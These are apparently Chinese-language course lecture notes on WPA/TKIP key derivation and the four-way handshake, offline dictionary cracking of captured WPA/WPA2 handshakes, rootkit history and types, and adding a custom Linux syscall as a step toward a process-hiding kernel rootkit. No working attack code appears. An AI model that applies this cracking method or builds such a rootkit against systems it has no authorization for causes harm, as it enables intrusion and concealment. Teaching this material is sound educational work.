一旦我们有了256位的主密钥,它会被输入到一个伪随机函数(PRF)中,该函数使用伪随机数生成器(PRNG)将密钥扩展到512位。额外的输入包括接入点(AP)的MAC地址和随机数(Nonce),以及站点(Station)的MAC地址和随机数。
一个重要的概念是,给定相同的种子,PRNG总是产生相同的随机输出流。因此,两个独立的设备可以通过从相同的种子值开始来生成相同的密钥集。在这种情况下,站点和接入点使用的种子是“成对密钥扩展”。因此,会有一个四次握手,允许站点从AP获取MAC和Nonce,反之亦然。
PRF的输出是一个512位的字符串,随后被分割成五个不同的临时密钥。前两个128位的密钥仅在握手期间即时使用,以提供完整性保护和保密性。第三个128位的密钥实际上用于加密数据流量。最后一个128位的字符串被分割成两个64位的完整性密钥,用于双向数据传输期间。

最后,虽然主密钥不变,但临时字符串会改变。每次有新的关联握手时,双方的Nonce都会改变,因此PRF的输出也会改变。
TKIP如何生成受保护的有效载荷
在了解了密钥层次结构后,我们来看看TKIP如何使用这些临时密钥来生成受保护的数据包。
以下是TKIP加密过程的步骤概述:
- 初始化向量(IV)与TSC:首先,48位的IV也被称为TKIP序列计数器(TSC),其中“序列”一词意味着它会随着每个新数据包递增。这强制IV必须改变,这在WEP中不是强制的。48位的长度意味着IV在很长一段时间内不会被重用。实际上,2^48这个数字非常大,我们可以认为它不会重复。如果TSC空间耗尽,符合标准的实现可以选择用新的临时密钥替换旧的,或者终止通信。由于重用任何TSC值都会危及已发送的流量,最好的实现可能就是终止通信。需要注意的是,TSC被分成两部分:一个32位的部分和一个16位的部分。

-
密钥混合:128位的临时加密密钥(TEK)经过两个阶段的混合。第一阶段的输入是TEK、发送方的MAC地址以及IV的32位部分。IV的16位部分进入第二阶段混合。这确保了第一阶段每65,000个数据包改变一次密钥混合,而第二阶段每个数据包改变一次。结果是,104位的输出密钥与原始的TEK几乎没有相似之处,任何试图使用RC4密码分析技术的尝试都不会成功。
-
IV前置与RC4加密:前置的IV仍然是24位,但由16位的TSC段组成,中间插入了一个虚拟字节。这样做是为了对抗在WEP密码分析中利用的弱密钥问题。此时,128位的结果被传递给RC4,算法处理方式与WEP中完全相同,除了整个48位的IV被传输,而不仅仅是前置的24位IV。
-
完整性校验(Michael算法):在图的底部,你可以看到新的密钥完整性算法Michael被应用于MAC服务数据单元(MSDU)。Michael的输出(MIC)被注入到明文和WEP算法使用的CRC之间。如果需要分段来发送有效载荷,MIC只与最后一个分段一起发送。如果没有分段,MIC则与每个传输的数据包一起发送。

WPA密钥变化总结
现在,让我们简要回顾一下WPA中哪些密钥会变化,以及何时变化。

以下是WPA密钥的生命周期:
- 成对主密钥(PMK):只有当密码短语或SSID改变时才会改变。它会改变,但变化不频繁。
- 成对临时密钥(PTK):每次有新的四次握手时就会改变。因此,这种变化相对频繁,但肯定不是每个新数据包都变。
- TKIP序列计数器(TSC):这就是关键所在。它随着每个数据包递增,导致每个数据包都有一个新的128位密钥输入到RC4中。

因此,这就是与WEP的不同之处:
- 混合算法的输出会随着每个数据包改变RC4使用的128位密钥,因为TSC在递增。如果TSC空间耗尽,符合标准的设计选择是:用新的临时密钥替换旧的,或者终止通信。由于重用任何TSC值都会危及已发送的流量,替换密钥可能不是最佳选择。然而,TSC足够大,TSC空间耗尽应该不是问题,直接终止通信可能是更好的选择。
- 在TSC的16位段中添加了一个虚拟字节,以克服与某些IV相关的弱密钥问题,这些IV曾有助于密码分析。
- TSC不仅会递增,还增加了一种机制来阻止IV的重放攻击,这是允许捕获和重放加密认证请求的弱点。这是通过以下方式实现的:IV值总是从0开始,每发送一个数据包就递增1;任何TSC序列计数器不大于最后一条消息的消息都会被丢弃。
- 每次站点重新认证和重新关联时,都会有一个新的握手,导致所有密钥都改变,因为站点和AP的Nonce被重新生成。
四次握手详解
WPA的另一个重大改进是四次握手机制。接下来,我们将详细讨论握手的每个阶段,因为捕获握手并比较WPA和WPA2的差异是实验的一部分(如果你选择做的话)。
下图显示了握手中交换的关键数据部分。Nonce对于PTK的计算至关重要。握手包含一个“即时”的方面,因为一旦Nonce到达,必须在握手继续之前计算KCK和/或KEK来保护握手的内容。说密钥生成输入是“设定的”,意味着密钥被加载到算法中,除非有新的关联和新的Nonce,否则不会改变。当然,这仅仅意味着PTK是固定的,而TSC会自行递增,为每个数据包改变实际的加密密钥。

以下是四次握手的步骤,每个要点总结了几个重要的概念:

- 第一步(AP -> Station):AP向站点发送其Nonce(ANonce)。站点收到后,可以计算PTK。
- 第二步(Station -> AP):站点向AP发送其Nonce(SNonce)以及一个消息完整性校验码(MIC),该MIC使用刚计算出的PTK中的KCK部分生成。这向AP证明站点知道共享的密码短语。
- 第三步(AP -> Station):AP验证MIC。如果正确,AP知道双方共享秘密。AP发送一个消息,指示安装密钥,并附带一个使用PTK计算的MIC。同时,AP可能发送加密的组临时密钥(GTK)。
- 第四步(Station -> AP):站点发送一个确认消息,同意安装密钥并开始加密通信。
重要概念总结:
- Nonce即时到达以支持PTK计算,使握手得以继续。
- MIC的计算跨越整个消息,其中包括MIC字段本身,因此在计算前必须将该字段设置为0。
- 握手中使用的MIC算法是HMAC-MD5,而不是用于数据完整性的Michael算法。如果没有KCK的保护,完整性错误可能导致生成不同的密钥。
- 握手结束时有一个确认,最终切换到WPA加密进行数据通信。
- 握手使用EAPOL-Key帧。因此,捕获握手涉及收集被Wireshark识别为EAPOL协议的四个数据包。
- 提醒:我们正在分析的是WPA预共享密钥认证握手,而不是使用RADIUS服务器的WPA企业认证。
EAPOL消息结构与字段解析
为了更深入地理解握手,我们需要了解EAPOL(基于局域网的扩展认证协议)消息的结构。
EAPOL消息包含多个字段,每个交换中的值都不同。两个红色框只是突出显示了确保握手可以继续的重要数据元素:在Nonce到达之前无法计算PTK;在计算MIC之前,MIC字段必须设置为0,计算后,再插入该字段进行传输。
以下是EAPOL消息中字段的简要讨论:
- 描述符类型:对于WPA握手,其值为254,这与WPA2不同。
- 密钥信息字段:包含几个子字段,提供关于密钥类型及其使用方式的信息。它还包含各种控制位以协助握手过程。
- 密钥长度:以字节为单位提供。在成对密钥方案中,这代表PTK右半部分的长度,尽管实际的PTK并不在密钥帧中发送。它是目标密钥长度。
- 重放计数器:随每条消息递增,以检测重放旧消息的企图。例外情况是当此消息是对请求的响应时,此时会插入被请求消息的重放值。
- 密钥Nonce字段:这些是随每次关联改变的值,用于派生成对临时密钥。
- EAPOL密钥IV:用于组密钥传输。我们不会讨论组密钥,但如果你熟悉这个概念,GTK是使用EAPOL密钥加密密钥(KEK)结合此IV值加密的。加密的GTK被放置在密钥数据区域,即消息的最后一个字段。
- 密钥序列计数器:指示密钥安装后,在接收到的第一帧中预期的序列号值。此序列号可防止重放攻击。
- 密钥标识符:在WPA中未使用,未来可能用于支持预先设置多个密钥。
- 密钥MIC字段:是一个完整性校验值,计算范围覆盖整个EAPOL密钥帧,从EAPOL协议版本字段到密钥材料的末尾。
- 密钥数据长度:定义后续密钥数据的字节数。
- 密钥数据:代表需要秘密发送的材料。例如,在组密钥的情况下,这是GTK的加密值。在某些成对密钥消息中,根据实现,这可能携带一个信息元素。
总结

本节课中,我们一起学习了WPA协议如何作为WEP的安全替代方案。我们详细探讨了其核心改进:通过TKIP协议动态改变加密密钥、引入更强大的Michael完整性算法以及安全的四次握手过程。这些机制共同作用,有效抵御了针对WEP的多种攻击,如IV重放攻击和弱密钥攻击。理解WPA的工作原理是评估无线网络安全性的基础,也为后续学习更现代的WPA2协议做好了准备。记住,虽然WPA比WEP安全得多,但使用强密码短语仍然是防止字典攻击的关键。
053:WPA-2字典攻击 🔓
在本节课中,我们将学习WPA与WPA2之间的主要区别,并详细探讨针对这两种协议的字典攻击工作原理。课程的核心是理解攻击者如何利用捕获的四次握手数据,通过猜测密码短语来尝试破解无线网络密钥。
WPA与WPA2概述
上一节我们介绍了无线安全的基本概念,本节中我们来看看WPA和WPA2的具体差异。WPA2是WPA的扩展和增强版本。

WPA的设计初衷是作为从WEP到更安全协议的过渡方案。因此,WPA能与大多数可升级的旧硬件兼容。同时,WPA也使得向WPA2的过渡变得平滑,尽管后者可能需要新的硬件支持。
WPA2采用了与WPA相同的认证机制,但升级了加密套件:
- AES 取代了 RC4。
- CCMP(计数器模式及密码块链消息认证码协议)取代了 Michael 协议。
协议演进与密钥生成

以下表格总结了从WEP到WPA再到WPA2的802.11标准演进,旨在解决WEP的固有弱点。
| 特性 | WEP | WPA | WPA2 |
|---|---|---|---|
| 认证 | 开放系统/共享密钥 | 802.1X/EAP, PSK | 802.1X/EAP, PSK |
| 加密 | RC4 | RC4 + TKIP | AES-CCMP |
| 完整性 | CRC-32 | Michael | CCMP |

四次握手的过程略有不同,但这种差异不影响我们的讨论。主要区别在于所使用的加密套件算法,并且临时密钥的长度实际上缩短了。
密钥生成过程基本相似,都基于 PMK = PBKDF2(Passphrase, SSID, ssidLength, 4096, 256) 生成配对主密钥。区别在于,由于使用单一密钥进行负载加密和完整性计算,WPA2的PTK(成对临时密钥)比WPA的短128位。伪随机函数也有所不同,但这不影响攻击流程。
字典攻击流程详解
了解了密钥生成的基础后,我们来看看攻击者如何实施字典攻击。下图中的颜色标识有助于理解:
- 红色:从嗅探到的数据包中获取的信息。
- 绿色:已知信息(如算法、随机函数)。
- 黄色:需要被验证的猜测密码短语。
- 蓝色:某些计算过程的输出结果。

攻击的第一步是捕获一个完整的四次握手过程。这提供了图表中所有红色的信息。
以下是攻击的核心步骤:

-
猜测与计算:从字典中选取一个条目作为密码短语进行猜测,然后运行算法生成一个候选的PTK(对WPA来说是384位)。此时我们不知道这个PTK是否正确。
-
验证密钥:我们需要一种方法来验证它。在捕获握手时,我们捕获了过程中受KCK(密钥确认密钥)保护的所有MIC(消息完整性代码)。攻击算法通常使用握手过程的第三帧并提取其中的MIC。我们也有一个候选PTK,可以取其前128位作为候选的KCK。
-
校验过程:校验过程如下:取捕获的密钥帧,将其MIC字段置零,然后计算MIC值。接着,用候选的KCK加密这个计算结果。最后,将我们刚计算并加密的MIC与从握手包中捕获的MIC进行比较。
- 如果两者不匹配,说明我们的候选KCK是错误的。
- 如果两者匹配,则说明候选KCK就是真实的KCK。由此我们可以推断,最初猜测的密码短语是正确的。
攻击者只需对字典中的每个条目循环使用上述方法。破解的成功率取决于字典的质量和密码短语的强度。
关于密码字典的提醒

在结束WPA2攻击的讨论前,有必要提一下常用的密码字典资源。RockYou字典在Kali Linux中可以找到。该字典源于2009年RockYou经典视频游戏密码文件的数据泄露事件,包含了3200万个密码,是一个非常好且可免费定制、增强并保存以备后用的字典。
实际上,你也可以通过命令 cat /usr/share/wordlists/rockyou.txt.gz | gunzip | grep ‘你的密码’ 来检查自己的密码是否在这个字典中,从而评估其面对简单字典攻击的风险。
总结

本节课中,我们一起学习了WPA与WPA2的关键区别,并深入剖析了针对它们的字典攻击原理。攻击的核心在于捕获四次握手数据,并利用已知算法和猜测的密码短语来推导并验证密钥。这再次强调了为无线网络设置强密码短语的重要性。接下来,我们将进入操作系统安全的学习。
054:Rootkit技术解析 🔍
在本节课中,我们将学习Rootkit技术。Rootkit是一种用于隐藏恶意软件存在的技术,它在系统被入侵后发挥作用。虽然Rootkit本身不用于获取未授权访问,但它能帮助攻击者维持访问权限并掩盖踪迹。本节课将介绍Rootkit的历史、工作原理和不同类型,为后续实践打下基础。

Rootkit概述与历史背景 📜
上一节我们介绍了Rootkit的基本概念,本节中我们来看看Rootkit的历史背景。
Rootkit并非现代网络攻击的产物,其历史可以追溯到很久以前。最初的Rootkit是系统程序的修改版本,例如ps、netstat和passwd,这些修改版本让攻击者能够获得系统管理员不知情的根权限访问。
如今,Rootkit更常见的形式是钩子(hooks),它们拦截并修改向用户显示的响应,以隐藏恶意行为。Rootkit通常用于在漏洞利用后隐藏攻击者的存在。
肯·汤普森(Ken Thompson)和丹尼斯·里奇(Dennis Ritchie)因其在Unix系统上的工作于1983年获得图灵奖。汤普森曾通过修改C编译器实施了一次著名的攻击:他让编译器在检测到编译Unix登录命令时,生成能同时接受用户正确密码和攻击者已知额外密码的代码。这本质上是一个预编译的Rootkit。更有趣的是,编译器还会在检测到编译新版本编译器时,将同样的漏洞插入新编译器中。这些攻击无法通过源代码审查被发现。他1983年的图灵奖演讲《Reflections on Trusting Trust》是一篇值得一读的文献。
如今,Rootkit是一种用于隐藏系统上其他恶意软件存在的恶意软件。它们的基本原理是拦截向用户提供信息的系统函数调用,并修改显示给用户的结果。例如,目录列表或进程列表的输出会被挂钩并修改,以移除与恶意软件相关的信息。因此,恶意软件文件不会显示在目录列表中,相关进程也不会显示在进程列表中。
但Rootkit本身并非漏洞利用程序。攻击者无法使用Rootkit来获取其尚未入侵的系统的未授权访问。它们不自我复制、不感染其他文件、也不利用未修补软件的漏洞。相反,它们用于隐藏已被入侵计算机上的信息。

著名的Rootkit案例 🚨
上一节我们了解了Rootkit的基本工作原理,本节中我们来看看一些历史上著名的Rootkit案例。
以下是几个具有代表性的Rootkit实例:
- 索尼Rootkit事件:索尼曾在CD上安装数字版权管理(DRM)软件以防止复制。该软件在用户不知情的情况下安装Rootkit,使用隐藏技术来隐藏文件、注册表键和其他系统对象,并导致系统性能下降。一旦黑客了解其机制,便利用该Rootkit作为后门获取根权限。此事最终导致索尼召回受影响CD并进行赔偿。
- Brain病毒(1986年):这是PC上的第一个Rootkit,当时被称为病毒。它会减慢软盘驱动器速度并占用内存。它驻留在引导扇区,并将原始引导扇区移至标记为损坏的另一个扇区。当用户尝试读取恶意引导扇区时,会被重定向到新位置并显示原始引导扇区内容。
- Hacker Defender(约2003年):这是一个可供下载的Rootkit,采用了一种“食谱”式的方法来创建Rootkit。它附带安装程序、命令控制服务器和配置文件。用户只需在配置文件中指定需要隐藏的内容(如文件、进程、服务、注册表信息等)。它在野外活跃了约十年,之后威胁才得以缓解。
Rootkit的主要类型 🧩
上一节我们回顾了Rootkit的历史案例,本节中我们来看看Rootkit的主要分类。
Rootkit主要分为以下四种基本类型:
- 固件Rootkit:驻留在固件中,因此具有持久性,即使更换新硬盘或重装操作系统也能存活。攻击途径通常通过供应链,但也可通过EPROM或BIOS更新等方式感染。
- 虚拟化Rootkit:攻击作为虚拟机在管理程序上运行的主机操作系统。基本上,来自虚拟机的硬件调用会被恶意的管理程序拦截和修改。虚拟Rootkit不必在操作系统之前加载。事实上,它们可以在将操作系统提升为虚拟机之前加载到操作系统中。著名的“蓝药丸”(Blue Pill)管理程序就是一个例子。
- 内核级Rootkit:拥有无限制的安全访问权限,但编写难度更大。其复杂性导致漏洞常见,而内核级代码中的任何漏洞都可能严重影响系统稳定性,从而导致Rootkit被发现。引导工具包(Bootkit)是内核级Rootkit的一个子类别,它会破坏具有全盘加密机器的引导加载程序,以拦截加密密钥和密码,并持续进入保护模式。
- 应用级Rootkit:在用户空间运行,因此最容易编写。主要方法是将DLL注入其他进程,以拦截和修改API行为。

内核级Rootkit也可以实现为DLL,但和Linux一样,需要根权限才能修改内核行为。攻击者首先需要让一个包装程序执行。该程序会提取DLL文件并将其作为模块映射到内存中,然后调用其中一个函数来安装Rootkit。由于这需要根权限,攻击者要么需要提权,要么需要利用漏洞才能将可执行文件注入另一个进程。在震网(Stuxnet)病毒案例中,安装程序实际上被注入到目标计算机上运行的反病毒软件中,以帮助规避检测。顺便提一下,震网病毒还有一个用于隐藏可编程逻辑控制器中活动的用户级Rootkit。
总结与展望 🎯
本节课中我们一起学习了Rootkit技术。我们了解了Rootkit是一种用于隐藏已入侵系统上恶意活动存在的技术,它本身不用于初始入侵。我们回顾了Rootkit从早期修改系统程序到现代使用钩子技术的历史,并探讨了固件、虚拟化、内核级和应用级等不同类型的Rootkit及其特点。

以上是对Rootkit历史的简要介绍。现在,我们将开始着手开发一个简单的内核级Rootkit,从内核级编程的基础知识开始。
055:内核空间与用户空间
在本节课中,我们将要学习操作系统中的核心概念:内核空间与用户空间。理解这两者的区别是开发内核级工具(如Rootkit)的基础。我们将探讨系统调用的工作原理,并了解为何需要重新编译内核来添加自定义功能。
上一节我们介绍了课程背景,本节中我们来看看内核空间与用户空间的基本概念。
内核空间与用户空间概述
开发内核级Rootkit需要具备内核级别的编程能力。即使你是一名C语言程序员,也可能缺乏这方面的经验。本模块内容仅触及表面,但足以让Rootkit运行并理解其基本思想。

我的大部分知识来源于一篇关于从系统调用到钩子制作Rootkit基础的文章。我不确定Donnus是否为原作者,这篇文章似乎被许多人转载并声称是原创。无论如何,结合文章和本讲座,你应该能完成实验。
互联网上有很多关于系统调用的教程,但我发现它们帮助不大。因此,我不得不一步步调试Rootkit开发的各个环节。如果你选择不同的虚拟机作为目标,可能也需要这样做。
以下是本模块将涵盖的主题列表:
- 重建内核
- 探索可加载内核模块
- 理解Root权限与系统权限
- 钩住系统调用并隐藏进程
当我们开始探索系统调用时,需要重建内核。建议你创建一个可以随时重置的虚拟机,以防过程不顺利。
我们还将探索可加载内核模块,它们类似于Windows上的DLL。随着课程深入,我们将实际钩住系统调用。你会看到,Root访问权限对于创建内核级Rootkit至关重要,因为LKM需要以内核级权限运行。
最终目标是开发一个LKM来钩住一个系统调用,并隐藏一个正在运行的进程。
内核空间与用户空间的区别
第一步是理解内核空间和用户空间的区别,因为钩子操作发生在内核空间。

当我们对“系统级”的含义有了较好的直觉后,我想通过图表来精确展示各个操作发生的位置。
第一个重要概念是:运行在内核空间的进程可以无限制地访问内存,而运行在用户空间的进程则不能。这符合预期,目的是防止用户级进程相互干扰。

但用户进程有时需要访问系统调用。为此,内核向用户空间暴露了接口,用于实现诸如在文件系统中打开文件等功能。
你可能没有理解的一点是:Root拥有的进程实际上也运行在用户空间,并使用相同的系统调用API。
Root权限与系统权限截然不同。Root比标准用户拥有更多权限,但Root进程仍然运行在用户空间。
这张图表显示内核可以访问所有内存,而用户(即使是UID 0的Root用户)则不能。内核向用户空间暴露了系统调用接口,系统调用通过该接口请求内核提供服务。在我们讨论内核钩子时,会再次看到这张图。
准备重建内核
首先,我们将创建自己的简单系统调用,以理解其工作原理的细节。在本模块结束时,我们将钩住一个由开发人员内置到内核中的实际系统调用。
这种先创建自定义系统调用的方法意味着我们必须重建内核。建议你从一个不重要的虚拟机开始,以防其损坏。
可以为你现有的某个虚拟机创建快照,但我保守的做法是使用一个单独的虚拟机,原因如下:
- 你可能没有为已安装的虚拟机下载内核源代码。
- 即使现在下载,源代码与你已安装的补丁如何对齐也完全不清楚。
在继续之前,你肯定需要运行 apt-get upgrade 以确保拥有最新的软件包列表。如果你安装了一个新的虚拟机,可能不想为本次实验打内核补丁,因为以各种非标准方式打过补丁的内核源代码可能会导致问题。就我们的目的而言,我们并不关心这些补丁。
其次,一个较旧版本的Linux可能比最新的Ubuntu版本更容易理解和操作。我使用了一个旧的Debian虚拟机。你不必使用Debian,但需要弄清楚系统调用的管理方式,这可能因系统而异。即使是同一操作系统的不同版本,其系统调用表的组织方式也可能不同。
假设此时你已经安装了虚拟机并更新了软件包列表。下一个任务是下载源代码以便重新编译内核。
你可以下载整个构建的源代码,或者只下载内核源代码。以下是两种方法的语法。如果你只想下载内核源代码,请确保从内核存档中请求的版本与你正在运行的Linux版本完全一致。
虽然你下载的版本很可能与这里显示的语法不同,但访问内核存档并尝试查找如Wget语句中所示的内核源代码,可能是一个很好的学习工具。
如前所述,源代码通常需要放在 /usr/src 目录下,但你应该确认你决定使用的Linux版本确实如此。
以下是之前下载的内核源代码解压到该位置的语法。tar命令运行后,子目录由内核版本标识。
我使用了一个旧的Debian虚拟机,因为它已经安装在我的虚拟黑客环境中,并且我考虑删除它有一段时间了,因为Squeeze现已弃用并归档。这意味着这个构建已经打过很多补丁。我没有遇到源代码不匹配的问题,所以我之前的警告可能并不关键,至少对于内核源代码来说是这样。
当我访问Debian网站时,看到了推荐使用Synaptic软件包管理器而非Wget来下载源代码的建议。因此,我启动了软件包管理器,搜索“kernel”,并找到了我需要的Linux源代码。添加软件包后,Readme建议不要使用 /usr/src,所以我把它放到了 /root 目录下。对于你选择的虚拟机,可能会遇到类似的不同情况。请有条不紊地工作,以确保你的内核重新编译不会出错。事实上,此时重新构建内核以确保一切正常是值得的。
这张截图显示了我使用软件包管理器搜索内核源代码的过程。描述中实际上说它包含了所有的Debian补丁。因此,你肯定需要运行 apt-get update 以使当前软件包列表与你的构建对齐。

这张截图显示了tarball文件以及在Root主目录中解压后的源代码。

安装必要的编译工具
以下是重建内核所需的一些额外软件包。对于所有这些软件包,使用软件包管理器可能比apt-get更好,因为软件包管理器在解决依赖关系方面做得非常好。
以下是所需的软件包列表:
build-depkernel-packagelibncurses5-dev

如果你使用软件包管理器,可能不需要 build-dep,但其他两个绝对是创建自定义内核所必需的。
本节总结

本节课中我们一起学习了内核空间与用户空间的核心区别,明确了Root权限仍属于用户空间的本质。我们还讨论了为重新编译内核而下载源代码和必要软件包的步骤。下一节,我将讨论系统调用以及我们将添加到虚拟机内核中的一个特定系统调用。
056:系统调用机制 🛠️
在本节课中,我们将学习如何向Linux内核添加一个自定义的系统调用,并重新编译内核。我们将创建一个名为 pname 的简单系统调用,它能够根据传入的进程名称,在终端上输出对应的进程ID(PID)。
概述
我们将分步完成以下任务:首先为自定义程序创建目录和文件,然后编写系统调用的C语言代码,接着配置编译环境,最后修改系统表以使新系统调用生效。整个过程将展示内核模块开发的基本流程。
创建程序目录与文件
首先,我们需要在Linux内核源代码树中为我们的程序创建一个新的目录。由于程序名为 pname,因此我们创建一个同名的子目录。该目录下将包含两个核心文件:程序源文件 pname.c 和用于编译该程序的 Makefile 文件。

需要明确的是,此处的 Makefile 仅用于编译我们的C程序,而非编译整个内核。

上图展示了 pname 的源代码目录,其中包含 pname.c 和 Makefile 文件。请暂时忽略 pname.h 文件,它在原始论文中可能是一个干扰项,在编译 pname 时并非必需。但请将其记在心中,以防在构建内核(该过程会运行 Makefile 来编译 pname)时遇到错误。


以上是 pname.c 源文件中需要包含的头文件。请注意,由于PowerPoint或Adobe Reader可能使用特殊格式的字符,直接复制粘贴代码时需格外小心。建议从提供的ZIP文件源代码仓库中直接获取代码。

编写系统调用程序
上一节我们创建了程序文件,本节中我们来看看 pname 系统调用的具体实现代码。

这是程序的第一部分。asmlinkage 是用于系统调用的一个关键字,它定义了参数传递的方式。请注意,系统调用的名称以 sys_ 开头,这对于跟踪系统调用非常重要。此外,本幻灯片上的开括号并未闭合,它将在下一张幻灯片程序结束时闭合。
如果你对C语言不太熟悉,这里简单解释一下:这些结构体用于管理数据。task_struct 包含正在运行的进程信息,tty_struct 用于跟踪终端以便输出PID,而 name 则用于存储要输出到终端的PID。


这里是将进程名称转换为PID并将结果发送到屏幕的核心部分。系统调用从调用程序接收一个进程名,并将其与正在运行的进程列表进行比较。
因此,系统会查看进程调度器,将正在运行的进程名称与传入的名称进行比对。如果找到匹配项,它就将PID打印到用户的终端。
图中绿色括号内的循环遍历所有正在运行的进程,红色括号内的命令则在找到名称匹配时打印PID。
在 sprintf 语句中,%ld 格式符用于长整型十进制数,这正是内核任务结构体中存储PID的格式。sprintf 在格式语句方面的行为类似于 printf,但在此处,它将“PID=”字符串放入由 name 指向的字符串缓冲区中,并在字符串结束时自动追加一个空字符。
最后,它使用 write 命令将字符串写入屏幕。但由于是内核在进行写入操作,它需要确定用户的TTY,以确保输出到正确的位置。

这只是我虚拟机上的源代码截图。Makefile 是一个简单的单行文件。它位于源代码下的一个子目录中,并将由内核构建程序的父级 Makefile 调用。
内核编译过程
我们已经介绍了自定义系统调用的工作原理,现在从高层视角描述一下重新编译的过程。kbuild 系统按以下方式重新编译内核:它遍历所有源代码子目录,首先找到所有的 .o 目标文件,然后将每个源文件编译成一个目标文件。一旦全部编译完成,一个加载程序会将各个目标文件合并成一个名为 built-in.o 的单一目标文件(注意,这不是一个可加载文件)。最后,built-in.o 通过内核的 Makefile 被链接到 vmlinux 中。
然而,在目前这个阶段,当我们重新编译内核时,pname 还不会被构建。我们仍然需要修改几个系统表来促成此事。

修改系统表
以下是需要修改的关键系统表文件及其作用:
arch/x86/entry/syscalls/syscall_64.tbl:在此文件中添加新的系统调用号与名称的映射关系。include/linux/syscalls.h:在此文件中声明新系统调用的函数原型。- 相应架构的
syscall入口文件:确保系统调用表被正确更新以包含新的调用。
总结

本节课中,我们一起学习了如何向Linux内核添加一个自定义系统调用。我们从创建目录和编写 pname.c 源文件开始,了解了系统调用如何接收参数、遍历进程列表并输出结果。接着,我们探讨了内核的编译流程(kbuild),并指出了要使新系统调用生效,必须修改相关的系统表(如系统调用表、头文件声明等)。这个过程是理解内核模块开发和系统调用机制的重要实践。
057:内核参数调优
在本节课中,我们将学习如何将一个自定义的系统调用集成到Linux内核中。这个过程涉及修改内核源代码、配置编译选项以及解决可能出现的构建问题。
我们已经创建了自定义的系统调用,但要让它与内核一起成功编译,还有许多工作要做。需要将系统调用添加到系统表中,并且内核的Makefile也需要包含这个新程序。这些调整是构建包含新系统调用P_name的自定义内核所必需的。
修改内核构建文件
上一节我们介绍了创建自定义系统调用的基本概念,本节中我们来看看如何修改内核的构建配置以包含它。
第一步、第三步和第四步相对直接,但第二步会比较复杂,因为你的内核构建版本处理系统调用的方式可能与我的不同,也可能与参考论文中讨论的版本不同。这意味着你需要进行一些批判性思考,分析内核表结构以使调用正常工作。
以下是需要完成的步骤列表:
-
修改顶层Makefile:首先,需要定位位于源代码树顶层的内核Makefile。根据Debian网站的建议,不要使用
/usr/src目录,因此可以将其放在root用户的主目录下。找到该文件后,编辑它并做出一项修改:添加P_name/。你可以搜索core-y来快速找到对应行,然后将P_name/添加到该行的末尾。这告诉编译器在P_name目录中查找子Makefile。- 代码示例:在
Makefile中找到类似core-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/的行,并在末尾添加P_name/。
- 代码示例:在
-
添加系统调用到系统调用表:接下来,必须将
P_name添加到系统调用表中,以便它获得一个调用号。这是整个过程中最棘手的部分,因为不同内核版本的结构差异很大。
针对不同内核版本的调整
上一节我们概述了修改系统调用表的需求,本节中我们来看看针对两个不同内核版本的具体操作。
-
对于 Linux 3.16.36:系统调用表通常位于源代码树顶层的
arch/x86/syscalls/目录下,文件名为syscall_64.tbl。你需要找到表中的最后一个调用号,然后为P_name系统调用将其加一。例如,如果最后一个系统调用编号是319,那么新条目将包含三个元素:系统调用号、C程序名以及在汇编链接调用原型中给出的系统名。因此,对于3.16.36构建,条目将是:320 common p_name sys_p_name。 -
对于 Linux 2.6.32(或其他旧版本):情况可能更复杂。系统调用表的位置和文件名可能不同(例如,可能是
syscall_table_32.S)。此外,调用号的定义可能分散在多个文件中。例如,原型名进入系统调用表,但调用号可能定义在一个名为unistd_32.h的头文件中。这就需要同时修改两个文件:在系统调用表中添加新条目,并在头文件中递增NR_syscalls的值。找到这两个文件之间的关联可能是一个挑战。
核心概念:系统调用号是内核用于标识和路由调用的唯一整数,其定义遵循特定模式,例如在头文件中定义为#define __NR_p_name 320。
添加函数原型并配置内核
在成功将系统调用添加到表格后,我们需要确保编译器知道如何调用它。
第三个任务是将我们的系统调用原型名称添加到syscalls.h文件中。幸运的是,对于许多版本,syscalls.h的位置是固定的。修改很简单:只需将P_name源代码中的函数原型添加到该头文件中。这基本上告诉编译器这个系统调用如何传递参数。
代码示例:在syscalls.h中添加类似asmlinkage long sys_p_name(const char __user *process_name);的原型。
然而,在编译内核之前,我们必须运行make menuconfig。这是一个用于配置Linux源代码的工具,是编译源代码的必要步骤,允许用户选择要编译的Linux功能和选项。在我们的案例中,当make menuconfig提示时,通常只需接受默认配置即可。
编译、安装与测试
配置完成后,我们就可以开始实际的内核编译和测试了。

现在,你可以通过在找到内核Makefile的目录(很可能是顶级源代码目录)中键入make来开始内核重新编译。构建过程需要一段时间,因此请留意是否有立即报错,然后可以稍作等待。内核构建完成后,需要使用命令make install && make modules_install来安装新版本。安装完成后,重启系统(键入reboot)。

根据你的系统加载方式,可能需要更新引导加载程序。例如,运行update-grub可能就足够了,但也可能需要手动更新GRUB配置文件以添加initrd文件的位置。最后,你很可能需要从引导加载程序菜单中选择新内核,因为系统通常会默认引导上次使用的内核。

现在,我们需要创建一个简单的C程序来测试刚刚添加到内核中的系统调用。
这是一个简单的程序,它提示用户输入一个进程名,读取用户输入,解析字符串并创建令牌。然后通过我们添加到系统调用表中的编号进行系统调用,并将进程名传递给它。系统调用会打印出PID,然后将状态传回给测试程序。
使用GCC编译器编译这个简单程序。然后打开两个终端:在第一个终端中,运行test_p_name,并在提示时输入你正在运行的shell的名称(如bash);在第二个终端中,列出正在运行的进程并用grep过滤该shell名称。你应该看到test_p_name显示的PID与ps命令显示的相同。如果不是,说明存在问题,需要重新检查上述所有步骤。
总结与下节预告
本节课中我们一起学习了将自定义系统调用集成到Linux内核的完整流程。我们经历了修改Makefile、更新系统调用表(可能涉及多个文件)、添加函数原型、配置内核选项、编译安装内核以及最终编写测试程序进行验证的各个步骤。这个过程可能会因内核版本不同而遇到各种挑战,需要耐心分析和调试。

一旦内核拥有了新的系统调用,我们就能够创建一个简单的程序来调用它。接下来,我们将讨论可加载内核模块。
058:Linux内核模块(LKM) 🐧
在本节课中,我们将要学习Linux内核模块的基础知识。LKM是扩展Linux内核功能的关键机制,理解其工作原理对于后续学习如何利用它构建工具至关重要。
概述
可加载内核模块类似于Windows的动态链接库,它们是包含代码的目标文件,用于扩展正在运行的内核。LKM有时会添加设备驱动程序功能以支持新硬件或文件系统,有时则会添加系统调用。当不再需要时,可以卸载LKM以释放内存。本子模块的关键在于它们能够扩展内核,我们将利用这一点来构建一个rootkit。
LKM的特性
以下是LKM的一些核心特性列表。
- 无需重新编译内核:能够在不重新编译内核的情况下扩展其功能,这在Windows中是不可能的。如果没有这种能力,灵活性将非常有限,并且很大程度上受限于微软提供的内容。Linux是开源的,问题不大,但与仅仅编写一个LKM相比,重新编译内核的风险加倍。
